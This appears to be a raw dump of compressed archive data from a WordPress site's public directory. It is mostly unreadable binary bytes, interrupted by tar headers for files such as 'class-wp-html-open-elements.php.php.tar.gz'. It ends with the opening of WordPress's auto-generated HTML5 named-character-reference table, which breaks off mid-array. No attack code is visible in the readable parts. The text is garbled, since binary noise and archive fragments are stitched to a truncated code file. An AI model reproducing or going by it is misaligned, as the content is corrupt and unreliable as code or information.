@��"M�pw���a�S��O^�(VD�F)d����D6�B|xwaޭ]Gv��[B�s�a�hoi�����xbr�D��#�kζG'=B�6Po��7�6�8ϳW�a`�ܺ�N�z�������8���� F�IN1p� a�����|�i{�yXt�����/��/��l����+�*���	�"�뤔��ce3�/�=��a!G��b�,!���r&I����ȩ?�s�x����] (��w����u�eE��]e͋�$�����RXN�Or��Ӓ`ޅwa��8^����m��E��
�؏Y�M�����$�~o/E��T!���zbI�<��,��H�,�����|�@�[b�uY;���c9y'���S�֍���U9L����+�Q�"�	KR�K�wfof�Οb,��v
+�Jg�PF݃���:��ңrhJ��QW��{�n�Ӄtp����+]��i{6��Z�l��C��J..1���������,g�!��vH��|H�l�K�3nt}jU=��=�x~����kǼG��f��b=�U��n�����`�e�b�.4^�C
���!e.��UN�bA(�%�3� R0�����5�+?�����y��g��C³G���!��i�i/��2�W�+�F��ۇK+b������v]�)J�Wڪ����KQ�ֈ�|������'�h=�,�XmD@�U�+ѣۯF�B]�oT���̓(��Dd'���dN�v@�})p������	92���'����6��e"\nZ����3�(�5���F�(3�9��"�F�Ţ"��%i��u��J��׳�R1�{:��Zq�Ȣ�W鏿o���wD5�vF�W��R%ώP�4���e� ��w�6�
T��+��F�Y{kF�:n0�' ����wN�<����E�A���$���
o���G$&=��i�W�-u�ʬ��#W��6����ګc��}o7��m7��z�e��,�7��'Ne'	�%YE��a�z��(�j�$Q�|���6&��'�^�r�ؗ��^M;�⺱ljy�Z
���!.Ǹ��U,�N�;z��=���w��z#��ӫ�GIoȟ���d�%H���p�H�O �\��F���}�X�Y�ƥH|Ͼ��ttI����l'H���"�[���S�x�c�\囨�QJ x>t�ckY��O��h�{�����
�ج;ڐz!*�d�L�^��̹�\3؍�T�_�ԍĔ�u���W�rXs�WT!7���8��-ֱG�2�@\�s��|��Q
�zị6T��Pݠ�ku��0��\�QЫ�q`�7^K�֘�f�U˪�_|ϧ.����Q�ٺ�pNV�46#���'�;��&�L��˲O���EN�޷

|����J�" -��b�0��I�x���:�����8�:�^_�o�Mn��[v������%֕c�F�҄=*'\P������#�B�/���'�%�B(Į�w#i�.�dzU�
���b01
>np��KH��� 7'(�8�ܚ"j3x�[ZW�5,q�A֯��3�W��}���QX�#�r��Է
R�;
��e�B0����o{U�;E�o�2��>��ce�n^���h7�ջ�zCuM��\���K�vt��f���_IƧ�Dl͑���B�(�R�ŵNL1�sJ��fK2D�3�uUG�4��cWZG�3�����������2��q���ƞ8�W�pkAC�~b|s�ˆ^L��vD��_$y�����q\	ʕ��^�q	1`�C�����C�q�1 7�s�C���C��LұW�B3��"H����;�_#Bs�n�*D*2�m�#d�1��G���ph�e�$��<���u��F=Л�����r�P42�\裎4��y��&�ez/�X�Wи�痫��ذ^ (����{h@�������M��Տ�2�pr�������b�a�߹4\ܠ�b�Kr��D�WA���,��g�M�>�w�ru��&�l	����(Jd���T5L9����L�S���.�.��,�����x��0��?/��]���\7r�0c(�&��E���N2��IaV��`%�7��Z��ՙٮG�j����EI3�T���&	�4!k�z̩�A���<���GYܧ�
y`�7�S�c!'#��B�Ĩ!l�gF��o���%���s�g��ԗ��u�딾l�{>ƙSޜJ�QNJ������!�:D7�N@�SQ��&�c���B�0�|o��jQ�g�'<,n��9:E�m�p�`�s����M�G;�Ѻs:E�^��!5�4h�LV@�4G��m	�*��
waN��߀I�U��xg.J�ߨ7���+T������^�%��]T�U'U�~��x�}%��w2M��5$�zYƿ���K�1�� �;���(�����
bI��	���^zO���H�=6��� JȈ���\��	�)-7J.�����f'޴�?��M�~��7�2�8(�1ܢ��CoP(���Ppٸ����!�'	�kL������M����bf?D n0$o#|'�XoqR �m�96JX�q<D�/	SO����Oѯ=\���H��Q���s���a�iT>x=�֔��Xu�
�"��p{�����1 e@M�����E�}�#���%T^�a%��2�7�x�e��D�,�+��;n�A7�x�����:�\T����ެo=���� #a	���Ӝ�؉�;qԩ��+iq�r{�
k���
{wI*�ԗ}�-_!y��\���-�HoEni]?����|�����#��5_-?� _�l�b���%��d��
"(�"_��{��k;���Ý�jQS�w�׭�{@������m���+��0������OU��x���2� �ٸJ!��YۍO��z�2��W0H:��%]F*⹺�ȑt|�'cV������PU…�M�K�5Z�_v���e�w��RX�9��wla���=L�K�49I�M�-.��b#�m�U��؈n��
O��������F�	D�8�/%24
L��R<���p�_��+[!x9dQ
�*~i�wf��J5�m�nA��8�3�δ~,��S{���n/�^.�8�V?�UN;�5_$�0��y�	���N�D!I�<�WrC�ut���I��1ēhx��9�h�U�å�E�6�9dXҠl\������'�Hޙ�nVe��~�-�7�N�gu+��$��t�K!��k�\U�<��/���̅6�G'�����ȖH�Y@]��$�zpea�E��%�G��`�5y� �j)$%�D�R��>h�4T�A �[�*�EY��̛��y���L~����4V4����R.ddQh��d@�M��b���.K_�m��'�" h�ְ`�;��J��/��X��&/d:�,G�*`�4�a~9TG07���q���r�t�#�rr�5�%X������}b�I0C�7'��`���
��k@%o�<]�� �U���n�1\�3���[$�F�K���K�(��gr{����
n�ux��ҩްXw��;��1�ިZ����1S>�p�����aw���Y�b��f����l9���T�Q��f�G��"C�a�~,/�t��pw�Z���U�`@��@�^��������08�W>N��i�1�YJ��n.<72�gh�9˷���"#���+*�$N3�osc��A`o���pI^_��NM-n0�y�W��!n'/b�E{���I
�.�F YE��4�*
�����_uo	������r��w�w���>�v���i�q���Kh���X��o���%
k�V	(v��V��Ef�w�i���FL���yN+���2�YF/�̡
����4bp�I�.����ӂ_!9S�:6CFK��-bou㇈Ns�!O|�T���Z��ڲ蟉�YNXi�ܳ1�/�H��A��1����tԹA������{��1�������2��Vx�j�^r��zM�v��y����~�A�*��k����!�%ˢ&�d�+�' �x_�U�����X%
>�f.2u�jCX����������q��uW[m�s���W\�U֨dU���*�~�@�`�u۲�����v�8���<8r�n�B��{���Km]�4��(.؏m��E#�%(��sm�_)D���_r�:[�"���X	{����>ą�b��_{�渽�-���������*�9h�K����i7I��!�
��{Hk$ㄩvH��9���`[��1��;�+�������&C�� 1;���wo^�h�x�`7`_�U���u^8��:N�oP/��sƯp�؏��0<[(�>�O�����S%�R�[�H>F�`1��_�d��F������yH�S-�M�!�}���3�v0�N
���gqm�\k�Á�
��+�*����z�8��󦱈�qjhfv�3��޳�Gil3�Qz�A�4��p�n���|�u���J��O�S;=���P_i'���+}��HЍ�eB����J?�Q�
S�+}�#��4���C ���$�)�!�+��|�����`�	'�7��0�JOP���R���@�=VX�ÎU}���_i*��gZE�8_���4�s�uB����� {��z��cڸ\7�H@u��2\����8��K�n(�/]el�:�C�ş�����hL@�%s���}
���z�*z3�x���<���������E����+q�<�6=^�S�Rn̮��'L���T�]��4*���f�A����81B�
m�D��$FQp��,�'�0(��+����3��Uي�.���L�utO��M>����Q�&}�6���K���,N��2t#�����M�+�C�J�m���\Mn!2+�o��6eSe�M�(Y_�0*Z�ǯˇn�>����|��ڡ}���I���dKqNYuǏj�{W[Ꞣ��Q��*à^ƫ�
�،|�p����g�&��}��/���X��У�53a�/�ě�	Jl�{|~�0W�9���s		XC=�0���]úSb�7ޓ�HS��&w��Ue�j���|Uv��y\Uc%�.	NX/0�i�_�X�vD�?x/I<+^��xOȉ�VS�8�&��q\/²�8|/��|i���&�6-6���
n��-̣�a���0hF���b�D�F����d�MϺ9�7��p���&�
By-�xa�p����|Gkp�{�k�f� �f�m`��{O<{�P4~w���I3z�I��8u���=@��꺞����e��e���F�kk^�Ea���(�U5+�B��qL�~qX��-�E�=h�Q�dyLA�"
ݧ�TG(@i���y�	iV8*m�ߔ�7p%��/���ϊ�!��{���ݪ�#?��8J�Ε�N&�"��~�лp���T����>^Y�05�����b�Š�R��/x��]e�H_t����\b�m�q	�^���+)�r�E�܋%
�܄�D��p�|�_�1>��a�oW1~qA
��E�Fǩ�¥C�z�l����>d%�Gn���s��c{Ru���,� h�c�^C��ԩ����~N`�/���p�&��O�q
ѣ�_ @Փ�՜7',䰱D{�`2|/'.��1��ֵv~9\R�$�K�|� �W
�����|T�C>\��U���ǀgi��|�M��2�9�ّd����Ǧ�u�I�#^Oɬ��@�{�IGٍ2S->*�Kz	
nJ�ϝ� HM��F�T��*�G�!s@������U��p
�Wo��^�����U~���3���Q���Ar�(@�4Mò$��݁�w���LwA
gݜ�Q'��>����]��zU�4�>ӛ��ybD�mx~��ئµJ�I�JQ�r�g�*?JA���޴�53����~Q�~��/�NRe:\*��O����f�J��8`��؎Kt��pG
���[�Cav��f�P��s������3�U'�������Þv��㵳����*4AR聜в�ehh�SԭD-i�{�q	[_��Ԃ)�ÜfLU1�fk�?������R��I��R�ZH����-���ކ�ĵU�i�I~�%�۞f�jJ�ٰ�:>��M�a���%���4w[3���X/��#�(��v����*<Φ2�����1L����6�G��!�(���#)&��B֜UDIr`�$}g�b�?��
廄'c��]
~]�32�7'�$�:�9)%Q�K�Fצ8�� ���ǘ�I���!A�'�n�}����I��h���F7�Ҋ���1@��N�@���~ȯ��0U#�7�y��k�y����xhnB �y����) ��Q@���r�����
S
�2�V5\�>#.-8�_
./S{�[��c���3��.j� ��	wpD�*�Os8�.ڬ���❋B7qy���F#W;\�+�:]�B�uDڍ�9 �e:�L��p}��-�tR���ɓj��l���)�咧�pҨ&��Q���P�=�x4��&b�y�Ƣ<7$�=Eڐ������mH��K��	�y�B���%�}*,�~���'�K�{x>0�K@�\�<�
 �&��
�j�z
�)�Q �`kX���/h��Zw��`&v����"�sj��G�Jff��;��8Á��=}����1�QW��1����4��+E���q�XX�y��F�n��2L)�b{o7������̫�<��<y�W�6
b8	�@���HwT;e¤�]\S��@��=�pY6���a�Ċ9E�a??���e\T�2��/_�M�j[^;��h�EA
�Z��@{�N1R�%z�uڱ�z��m?�'�9NØ��˳^(Yg�쩇��+QO=�h^��u�����$��+]T�*�Hf�z��En;f��s�j��Q����g��lp���Ѩ�00�PU��>X���{E�rT�⨿iz�!�z�v���f8~��r�.s(ē��'H&�O�g7d[�]��\�2~���<��c�����]���]�)��������e	�Ql|�mjMɻ"�����{�%�*`d���Ahk�򖷂�_f�5�x��>0S���]�\����8���(�29@���M���0����?��D��?��4)��hU�ޕ�K׮d���~@���:V"/��]�=��+@S#�������N@P�!C�^X�H�Sb\ƫ�a��������Z���d����R��ېn�kv6��Fqr�9�}2�&�У �_S�Rpn^���-���p�����Ud�a���w��qLΉ0�N"qƺ�I�l�iC�ձ��Z�gi��3�g�UgG\'��o�^�0�͝m��T,E�2^����4LxF	1���O1烼q�O��t�,Z�5R��eB�Ψ�[3�\����*e?;�0a���^t�c��"�ڛ�Ʋ�|�mb}�2e�Ƀh�#�O\r����'����f
�(��o"�_`�\�z�	u�j��p֮�~�?��� ͜u�A��F6���
��C�E����c�'��-��)�����E���{�[xx��=�j���O
v�C����:�A6�~O�ꯂYû�9~���A�q
�9��9L}�`/�g��.���V7�y�[\"��p�E�󄜠��4�G�c*
��ƶ[𾃭m��cG:^���cz
=�_>�P"y�������p%�Z'5�mߎg2��TO�&@�Z5���w�wN�����w�2��[=��2��r�c���_S5�
���5�/h�j�7������n+��K��
1��� ���u����s�۰��=��^JR%���aU5�'D�|� �I�q��N�A�>�AD00��h��l��߳Z(F��qc({�;�z�b�B�p��a�Ru�W6̥��3* ����v?�((�?7��7
��M�_��{�aff�_V&
�B��n������>���!�Y�0����8���!5����:�5�Scذ�w�@��^j�p�"K���ԩ1셠�%�U�`Q�N�d=�I[�t�4�V��k��(L��\��~wm�.Uk:Gý�d���D���ᤛ�-�q�+`�4�8�:��U�U�D�~�cJp�+�Y��ǁHx�8XT��Ո�����n��|C�0�\��d�^}�,�+lZH���
�`��������E�f����ٖ�ŵES|t����_��K�i/|@�ɇj�����7��Caơf�m�(<K)͇t������{���CkO�8P�Fk�z�.j�^ﰧ2���4�����=\�q;u���P�u�I=C�橻���D��7/W��{䦤/sw�����9�)���n�'*N6�t\=|�F.��xH�cz�b��00i����M�;��Ҥ!�б�e!�<M���GjrU�����ef	7�L��4�X��4�S�AjUL��X�Y�-x�/(�s�aw��߰�_wC�:���kZQQr���L�D:\8�%&�h��z�SE�dž��Q�<����p�籼2�!@�ƼL@���G/���U�0tW`څ�<:�-�Fa����ڵ�2F��Q�9����:Tt�K�[l��~8����	ב�1̄��>]-F4��J�þ�SE�Z8�]����	��Q
b�L�씜��'��o@M�n�`^D�gi}V�J�>Jk_���9��<(�9{wD�^�}��Z���@?=oj���T�wP..�{�2��ȹG��<Ifb
�W~�*�֜
J�zRc��Y�&�j�w0X-qE�x5u�\%�<Ba|��)�P���n�O9�k���X�;S�+ܜ�O�߹ǩ��M�=�ր�ޞcy��#�)�`��dpR����������M�5e�yy�2N��nW}zf2��v�;L�T;� �2�AR5�y��iЁ�N��P��C��v�@k*�M�wn��l��^�b!C��K|�I���.�jtH&�㴉��y���\��EJ������\M�j�u��S��J�9����;�{��9D�֒���S��ux��WU��ߦuҺz��InW~B�a;������W�,7�O�)38Eu��.�<���zuo�2
չ?��^9,��uZ��@��ǭM�GC�0��8�3��'T�9�{z-���f�þ�O���������H�?�b!�,:�7a�&`F����K�3~:\��_���o�~�e���v�����E���DwL��v	���b���-��bN�׿p����_����o���߿����TFė@PKE�N\�K]Ƴ�*class-wp-html-open-elements.php.php.tar.gznu�[�����kW��_�W��SLkȫ�@BJ	M��78M���q�W���^m��C��;3z��e�m�����F�yk4�XN����^0ވ�����$ؘF?�'�
l����<I:�Zd$Ž�D�iҍ��g��M�<z�}s��o�}��p���[[��������zp��ɒ��0�1�G�y�ض���W��+�����n�7�}|����Ì���\�`od�Ƃ^�o��ܼ@���A�{�}�݄�e3後��˲Dx��c5�E�\3/��p�[y�F8x�&<�#|�À��&�%�Y��(�ƾ^�/ �(�)��"y�H��`����O}W�s�b�W]��t�r�( ���S{�Ie4�I�B�	&C0�����k
�=Ox
H*�m�C��e�ʉnX�o�X��J�U#|�V(ө���)��ӱp�+(�GY�S�8����0>@�!O�>��'��`5�N�f�b���"A()%��%	�&
:��K��v6M�d{�W7�Ġ;�t:��x��!ޑâ����ޓ�*��W�w�K(�K�C2�f�zE,`) �П��f/yl�����3��X^Rf����0��������f,��pj�&c�3��%@�
�8&���8Z"�ԟ���D����"ԏ(��o�Lq�%2�DĪ��Ԓ��b"/��$�4�A��c0y�S6A��z�n�+��>�|�_3Z&�2`k�y���\�YI[�����(�W�x$¥�f�fNA���vDc&��� /"E�,�Ù�+���A�~
��M�A�,�Qy���L�X�fA��O�
4}°�M֞%c\{蚰/^�����?8R��N7��'l3�R���􌩆�f�n�Y���aiU��o3�Y4�K�h6:�E�2=w���א�w=:7H�߁Ў`.H�(7���H�8T�,�EP|��@�H&���nL@t-)s��s�5��K��@������K�3�V�'ax�m[��X�?J�g����!_V
���@f!�,�����W����C��:��V��O$�2�|/��L��n����T��&[E�ʱ/.�%'IRa�-�>�g���k��S�D]�ط1�[��c�eNBQ��	l
䀜l�'�S�:�7#�z�ZZ��I�y�ʉ2���;I7����,����).�f��Q7W����w	0i�M�����(��Œ�
�����K��2�%]�d�!�Ԅ�\Ӊ�GE^�8�Yb���Z�)���&��Y����XhrZ~cl�ą��ຨְ�,�~��j�����|ʢ&.9`�]ԡ��.2.�3Q�7�53w	����@��؃*NJb��ҿ#���Yd�*�L�>v��]���#�V=�7�ayvCF)o4�S�g^������`n�/=9��$4�MH�0���S톊
�,��x\z��|���p`f
�Ge���%�,֓�E[�<5.㈛<�L*��HA0�=���_GD�]%�����
ШJݜ���OK��u��0�|pY"1L�
��
����h�r��k�'���fn���b3R?�q�x&(D����!�O�lТcL�U���~!�%G��-�D�ض
���`�Iu������Uy�ήKɾ�`��F��g�?����
�!o�|��|T_�
��(�mo� '��G6^�;�y��/e������篕�1O�ϡ�!V"��(*e�p��7n�by	 ����H������B�8�A��m-��O�(-b�G���k!������U�Q�g�<�rW��:@)w���d�hr�f)����P=9@���:|�%[���Zo�0H�+�	.������@�s�,KF'��\�<�2?a���6S�����1�th���ū������Q!Pv��3��i���m�#�m�R�Ou7�w\<��Dq�`SP�!^#�j���%� ��̵�,�]��kDv�"�"�$�}�weP��C��S�lĊ���ʻr���]����(ώ�Z�6��^k�Þm�b��l4f/��$X�s
�k%�_~I���*�^�����l���Z�ޣ��������>��&�H�����f�Za��]&�5_�
�sC��6>f�㒾��|�9�;K�O�1�
`C
H��)����_�	pt�Y���$@rhC
���d�)6[/�/�V]tGR�#�R�a�#��ӂB�<��:��s��Äǿf��+�'�l�Y���u�K��_��_�&k�š���
ój3A	H�:o�<��9n\�?
O�X�;ؓ
JM�j��G�B�þ�D�6���0�#�:�r&*�i��u�}.c�KQ�x��'�l�<>)#�������Ao�����N{�'���R��с}xf��0�^�������[�����G{=|� �����z<)>ϊ���{����������V���������"N���پ��;�U.�4�;r��Ҹmç�T縦	�p
��z&p4эS�a�����R���U�!�9Z�HưÝt]c����	l�lF�9F�!�C��"&���Mq �]X{�;q)bL]�4t�j�Δ
�u�XُaلN]>��R�C�̏�R!z}D�O�Y߽�r�ug��Ɩ����Us�B�Ĥ�N�.�L/�C
�cl���qkj��f�(Ѯ�-��7(�{sC���^z�w#+B{'��>y`s�"�q
B��͆�4�Pex�e��2�T����C'y�
��'���ȶ�!L�6�Y�I!�1�:s~n��I"�пD���J��߇W�T�N:�&,e�"�����{mu��CmJT��r���ݜQ�x�A�9�륎�!�v ��h)���M�a�꼌T�����켤ଥv5�5[�۷��wc���:����^���\�8\#񝗢��'�>Q��I�[�:͌���:y}Z߭&m|���&������>�/QjĩA*Uڭپ�ҿD�S%y��pv��͉�p-a�;<Gr��]D���QU:�2�6��R�G�����TA�CpVKl5vg��0�Z���gX��֍�)Z[��Էa�x.D�ɵ�j�|lo�&;����CtB�xGDbIq��ūIr��/?\�{ך�^^�D�V�2?�Z,/W7X���s�ϝ�?� ���6?��c��J�g}��û<�+�r�E��X����Eo`ܕQ�-��A��d��p�.�m�`q�bFZM=<���g,��;�4�.����Z�~SR�(�!����L� PGݮZh��P̺��z�[[���~K����@��cM���
��.����B��cP�/f�Ҍxc8EyQ��BO�+5�u�֎�JŽ�"���]F��lK9��\h�4�*M*��Z�Yu���4�Թl@�Z�r]Q]'iA~�{��\U�XY������o���Kឮ򗙺���T1��Ee�&Fsjɲb��c1�}NL����|�����j����B]#X�Q�oX~B�ҩm��,���Vr���]v�_��^�?�o{�'��T�ɏS:�k�f�d���t�\֌`�jX��Qk�"��uH�P�tI�C������Q���F
�|x��?a矕po��@��]�:iF�,
s5�2	�_Q�k��7�佢 �`ϐdu�}	VlZL��86�q�xo� �Q�Ɨ*lӘ_�8�>'�{�U��i��Z��V��yN(ă.ȱ3��h>{Kd�M��p3e�DV߹��`ܤ� �z�
��*�VZ�)M!C�%E���eSPk/�y�]m+:��QMPg l�9+cd||S
�Ն�@�(��Z%�c�?(1A�Ԕέ���S�Q�q�D���Q%H���Ek_�xoS�
	k�EJ��ڤ��:��	�‘ T���jZږb/�O�H�V{�� ��@�t$��+��U�l>Ӗ��*�����L�@sԚw~���7��}G{������|�aIڶPLUz�1$yB�cp��*���K@ڴ׆ء
]���_-(ƿ�S�v��c�������Y�C������]�[�q��?�lC���xK�����U��r a�8r��H(����o#��&xNC�l)(x&�o��R�ߤR�_����]	4\�k������5�x;o���N�92v���yV'Fnó����#;M���b���6s�\i:�6W�ΪMt�\n-�2;��ͥ�t�\jS���0�H��?��=�!��P�^�:]�͕ڜ�M�!�ܕ�rѪY؎�"ԙ����O��c�o�N�I�3���m�kު�=�d�o���Sk���:7���u~��bh�w���~ ��O��`�XW�`/�:�uW���Y���Ux�z�Dx1�m�G��B́3��n�t���1Ihxm[D��B{}����	�[�x���$R?�#��h��ݾ �[w�@@tR��NH�j!�iL�~*u9���r��5t`٩Ω?8Q7"�����Ȗ�vqs�x�K�@��Bz.��;�T<���NB�!��@\�R����^Qx5��L‹k�	F0�(�ߝ<��<1���7�ϋ��g]u������~���7P�D�ܢ�x�
�Y[�Pc"ұ�+!y�H�~J�	�Q��#	 ��:������Y�Ϻl�%c�������}��	oM�A�_��M��������?��U�^PKE�N\TFė@@(html5-named-character-references.php.tarnu�[���home/homerdlh/public_html/wp-includes/html-api/html5-named-character-references.php000064400000234443151440300060024445 0ustar00<?php

/**
 * Auto-generated class for looking up HTML named character references.
 *
 * ⚠️ !!! THIS ENTIRE FILE IS AUTOMATICALLY GENERATED !!! ⚠️
 * Do not modify this file directly.
 *
 * To regenerate, run the generation script directly.
 *
 * Example:
 *
 *     php tests/phpunit/data/html5-entities/generate-html5-named-character-references.php
 *
 * @package WordPress
 * @since 6.6.0
 */

// phpcs:disable

global $html5_named_character_references;

/**
 * Set of named character references in the HTML5 specification.
 *
 * This list will never change, according to the spec. Each named
 * character reference is case-sensitive and the presence or absence
 * of the semicolon is significant. Without the semicolon, the rules
 * for an ambiguous ampersand govern whether the following text is
 * to be interpreted as a character reference or not.
 *
 * The list of entities is sourced directly from the WHATWG server
 * and cached in the test directory to avoid needing to download it
 * every time this file is updated.
 *
 * @link https://html.spec.whatwg.org/entities.json.
 */
$html5_named_character_references = WP_Token_Map::from_precomputed_table(
	array(
		"storage_version" => "6.6.0-trunk",
		"key_length" => 2,
		"groups" => "AE\x00AM\x00Aa\x00Ab\x00Ac\x00Af\x00Ag\x00Al\x00Am\x00An\x00Ao\x00Ap\x00Ar\x00As\x00At\x00Au\x00Ba\x00Bc\x00Be\x00Bf\x00Bo\x00Br\x00Bs\x00Bu\x00CH\x00CO\x00Ca\x00Cc\x00Cd\x00Ce\x00Cf\x00Ch\x00Ci\x00Cl\x00Co\x00Cr\x00Cs\x00Cu\x00DD\x00DJ\x00DS\x00DZ\x00Da\x00Dc\x00De\x00Df\x00Di\x00Do\x00Ds\x00EN\x00ET\x00Ea\x00Ec\x00Ed\x00Ef\x00Eg\x00El\x00Em\x00Eo\x00Ep\x00Eq\x00Es\x00Et\x00Eu\x00Ex\x00Fc\x00Ff\x00Fi\x00Fo\x00Fs\x00GJ\x00GT\x00Ga\x00Gb\x00Gc\x00Gd\x00Gf\x00Gg\x00Go\x00Gr\x00Gs\x00Gt\x00HA\x00Ha\x00Hc\x00Hf\x00Hi\x00Ho\x00Hs\x00Hu\x00IE\x00IJ\x00IO\x00Ia\x00Ic\x00Id\x00If\x00Ig\x00Im\x00In\x00Io\x00Is\x00It\x00Iu\x00Jc\x00Jf\x00Jo\x00Js\x00Ju\x00KH\x00KJ\x00Ka\x00Kc\x00Kf\x00Ko\x00Ks\x00LJ\x00LT\x00La\x00Lc\x00Le\x00Lf\x00Ll\x00Lm\x00Lo\x00Ls\x00Lt\x00Ma\x00Mc\x00Me\x00Mf\x00Mi\x00Mo\x00Ms\x00Mu\x00NJ\x00Na\x00Nc\x00Ne\x00Nf\x00No\x00Ns\x00Nt\x00Nu\x00OE\x00Oa\x00Oc\x00Od\x00Of\x00Og\x00Om\x00Oo\x00Op\x00Or\x00Os\x00Ot\x00Ou\x00Ov\x00Pa\x00Pc\x00Pf\x00Ph\x00Pi\x00Pl\x00Po\x00Pr\x00Ps\x00QU\x00Qf\x00Qo\x00Qs\x00RB\x00RE\x00Ra\x00Rc\x00Re\x00Rf\x00Rh\x00Ri\x00Ro\x00Rr\x00Rs\x00Ru\x00SH\x00SO\x00Sa\x00Sc\x00Sf\x00Sh\x00Si\x00Sm\x00So\x00Sq\x00Ss\x00St\x00Su\x00TH\x00TR\x00TS\x00Ta\x00Tc\x00Tf\x00Th\x00Ti\x00To\x00Tr\x00Ts\x00Ua\x00Ub\x00Uc\x00Ud\x00Uf\x00Ug\x00Um\x00Un\x00Uo\x00Up\x00Ur\x00Us\x00Ut\x00Uu\x00VD\x00Vb\x00Vc\x00Vd\x00Ve\x00Vf\x00Vo\x00Vs\x00Vv\x00Wc\x00We\x00Wf\x00Wo\x00Ws\x00Xf\x00Xi\x00Xo\x00Xs\x00YA\x00YI\x00YU\x00Ya\x00Yc\x00Yf\x00Yo\x00Ys\x00Yu\x00ZH\x00Za\x00Zc\x00Zd\x00Ze\x00Zf\x00Zo\x00Zs\x00aa\x00ab\x00ac\x00ae\x00af\x00ag\x00al\x00am\x00an\x00ao\x00ap\x00ar\x00as\x00at\x00au\x00aw\x00bN\x00ba\x00bb\x00bc\x00bd\x00be\x00bf\x00bi\x00bk\x00bl\x00bn\x00bo\x00bp\x00br\x00bs\x00bu\x00ca\x00cc\x00cd\x00ce\x00cf\x00ch\x00ci\x00cl\x00co\x00cr\x00cs\x00ct\x00cu\x00cw\x00cy\x00dA\x00dH\x00da\x00db\x00dc\x00dd\x00de\x00df\x00dh\x00di\x00dj\x00dl\x00do\x00dr\x00ds\x00dt\x00du\x00dw\x00dz\x00eD\x00ea\x00ec\x00ed\x00ee\x00ef\x00eg\x00el\x00em\x00en\x00eo\x00ep\x00eq\x00er\x00es\x00et\x00eu\x00ex\x00fa\x00fc\x00fe\x00ff\x00fi\x00fj\x00fl\x00fn\x00fo\x00fp\x00fr\x00fs\x00gE\x00ga\x00gb\x00gc\x00gd\x00ge\x00gf\x00gg\x00gi\x00gj\x00gl\x00gn\x00go\x00gr\x00gs\x00gt\x00gv\x00hA\x00ha\x00hb\x00hc\x00he\x00hf\x00hk\x00ho\x00hs\x00hy\x00ia\x00ic\x00ie\x00if\x00ig\x00ii\x00ij\x00im\x00in\x00io\x00ip\x00iq\x00is\x00it\x00iu\x00jc\x00jf\x00jm\x00jo\x00js\x00ju\x00ka\x00kc\x00kf\x00kg\x00kh\x00kj\x00ko\x00ks\x00lA\x00lB\x00lE\x00lH\x00la\x00lb\x00lc\x00ld\x00le\x00lf\x00lg\x00lh\x00lj\x00ll\x00lm\x00ln\x00lo\x00lp\x00lr\x00ls\x00lt\x00lu\x00lv\x00mD\x00ma\x00mc\x00md\x00me\x00mf\x00mh\x00mi\x00ml\x00mn\x00mo\x00mp\x00ms\x00mu\x00nG\x00nL\x00nR\x00nV\x00na\x00nb\x00nc\x00nd\x00ne\x00nf\x00ng\x00nh\x00ni\x00nj\x00nl\x00nm\x00no\x00np\x00nr\x00ns\x00nt\x00nu\x00nv\x00nw\x00oS\x00oa\x00oc\x00od\x00oe\x00of\x00og\x00oh\x00oi\x00ol\x00om\x00oo\x00op\x00or\x00os\x00ot\x00ou\x00ov\x00pa\x00pc\x00pe\x00pf\x00ph\x00pi\x00pl\x00pm\x00po\x00pr\x00ps\x00pu\x00qf\x00qi\x00qo\x00qp\x00qs\x00qu\x00rA\x00rB\x00rH\x00ra\x00rb\x00rc\x00rd\x00re\x00rf\x00rh\x00ri\x00rl\x00rm\x00rn\x00ro\x00rp\x00rr\x00rs\x00rt\x00ru\x00rx\x00sa\x00sb\x00sc\x00sd\x00se\x00sf\x00sh\x00si\x00sl\x00sm\x00so\x00sp\x00sq\x00sr\x00ss\x00st\x00su\x00sw\x00sz\x00ta\x00tb\x00tc\x00td\x00te\x00tf\x00th\x00ti\x00to\x00tp\x00tr\x00ts\x00tw\x00uA\x00uH\x00ua\x00ub\x00uc\x00ud\x00uf\x00ug\x00uh\x00ul\x00um\x00uo\x00up\x00ur\x00us\x00ut\x00uu\x00uw\x00vA\x00vB\x00vD\x00va\x00vc\x00vd\x00ve\x00vf\x00vl\x00vn\x00vo\x00vp\x00vr\x00vs\x00vz\x00wc\x00we\x00wf\x00wo\x00wp\x00wr\x00ws\x00xc\x00xd\x00xf\x00xh\x00xi\x00xl\x00xm\x00xn\x00xo\x00xr\x00xs\x00xu\x00xv\x00xw\x00ya\x00yc\x00ye\x00yf\x00yi\x00yo\x00ys\x00yu\x00za\x00zc\x00zd\x00ze\x00zf\x00zh\x00zi\x00zo\x00zs\x00zw\x00",
		"large_words" => array(
			// AElig;[Æ] AElig[Æ].
			"\x04lig;\x02Æ\x03lig\x02Æ",
			// AMP;[&] AMP[&].
			"\x02P;\x01&\x01P\x01&",
			// Aacute;[Á] Aacute[Á].
			"\x05cute;\x02Á\x04cute\x02Á",
			// Abreve;[Ă].
			"\x05reve;\x02Ă",
			// Acirc;[Â] Acirc[Â] Acy;[А].
			"\x04irc;\x02Â\x03irc\x02Â\x02y;\x02А",
			// Afr;[𝔄].
			"\x02r;\x04𝔄",
			// Agrave;[À] Agrave[À].
			"\x05rave;\x02À\x04rave\x02À",
			// Alpha;[Α].
			"\x04pha;\x02Α",
			// Amacr;[Ā].
			"\x04acr;\x02Ā",
			// And;[⩓].
			"\x02d;\x03⩓",
			// Aogon;[Ą] Aopf;[𝔸].
			"\x04gon;\x02Ą\x03pf;\x04𝔸",
			// ApplyFunction;[⁡].
			"\x0cplyFunction;\x03⁡",
			// Aring;[Å] Aring[Å].
			"\x04ing;\x02Å\x03ing\x02Å",
			// Assign;[≔] Ascr;[𝒜].
			"\x05sign;\x03≔\x03cr;\x04𝒜",
			// Atilde;[Ã] Atilde[Ã].
			"\x05ilde;\x02Ã\x04ilde\x02Ã",
			// Auml;[Ä] Auml[Ä].
			"\x03ml;\x02Ä\x02ml\x02Ä",
			// Backslash;[∖] Barwed;[⌆] Barv;[⫧].
			"\x08ckslash;\x03∖\x05rwed;\x03⌆\x03rv;\x03⫧",
			// Bcy;[Б].
			"\x02y;\x02Б",
			// Bernoullis;[ℬ] Because;[∵] Beta;[Β].
			"\x09rnoullis;\x03ℬ\x06cause;\x03∵\x03ta;\x02Β",
			// Bfr;[𝔅].
			"\x02r;\x04𝔅",
			// Bopf;[𝔹].
			"\x03pf;\x04𝔹",
			// Breve;[˘].
			"\x04eve;\x02˘",
			// Bscr;[ℬ].
			"\x03cr;\x03ℬ",
			// Bumpeq;[≎].
			"\x05mpeq;\x03≎",
			// CHcy;[Ч].
			"\x03cy;\x02Ч",
			// COPY;[©] COPY[©].
			"\x03PY;\x02©\x02PY\x02©",
